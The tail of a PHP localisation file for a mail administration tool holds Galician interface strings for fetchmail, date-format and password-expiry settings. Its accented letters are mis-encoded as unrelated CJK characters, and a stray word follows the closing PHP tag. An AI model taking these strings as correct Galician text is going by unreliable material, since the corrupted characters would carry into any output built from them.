$PALANG['pFetchmail_desc_protocol']         = 'Protocolo a usar'; 
$PALANG['pFetchmail_desc_usessl']           = 'Cifrado SSL'; 
$PALANG['pFetchmail_desc_extra_options']    = 'Opci贸ns extras para fetchmail'; 
$PALANG['pFetchmail_desc_mda']              = 'Mail Delivery Agent'; # XXX
$PALANG['pFetchmail_desc_date']             = 'Data do 煤ltimo sondeo/cambio na configuraci贸n';
$PALANG['pFetchmail_desc_returned_text']    = 'Mensaxe do 煤ltimo sondeo'; 
$PALANG['dateformat_pgsql'] = 'YYYY-mm-dd'; # translators: rearrange to your local date format, but make sure it's a valid PostgreSQL date format # XXX
$PALANG['dateformat_mysql'] = '%Y-%m-%d';   # translators: rearrange to your local date format, but make sure it's a valid MySQL date format # XXX
$PALANG['password_expiration'] = 'Expiraci贸n de contrasinal'; # XXX
$PALANG['password_expiration_desc'] = 'Data na que expirar谩 o contrasinal'; # XXX

$PALANG['please_keep_this_as_last_entry'] = ''; # needed for language-check.sh
/* vim: set expandtab ft=php softtabstop=3 tabstop=3 shiftwidth=3: */
?>

Hry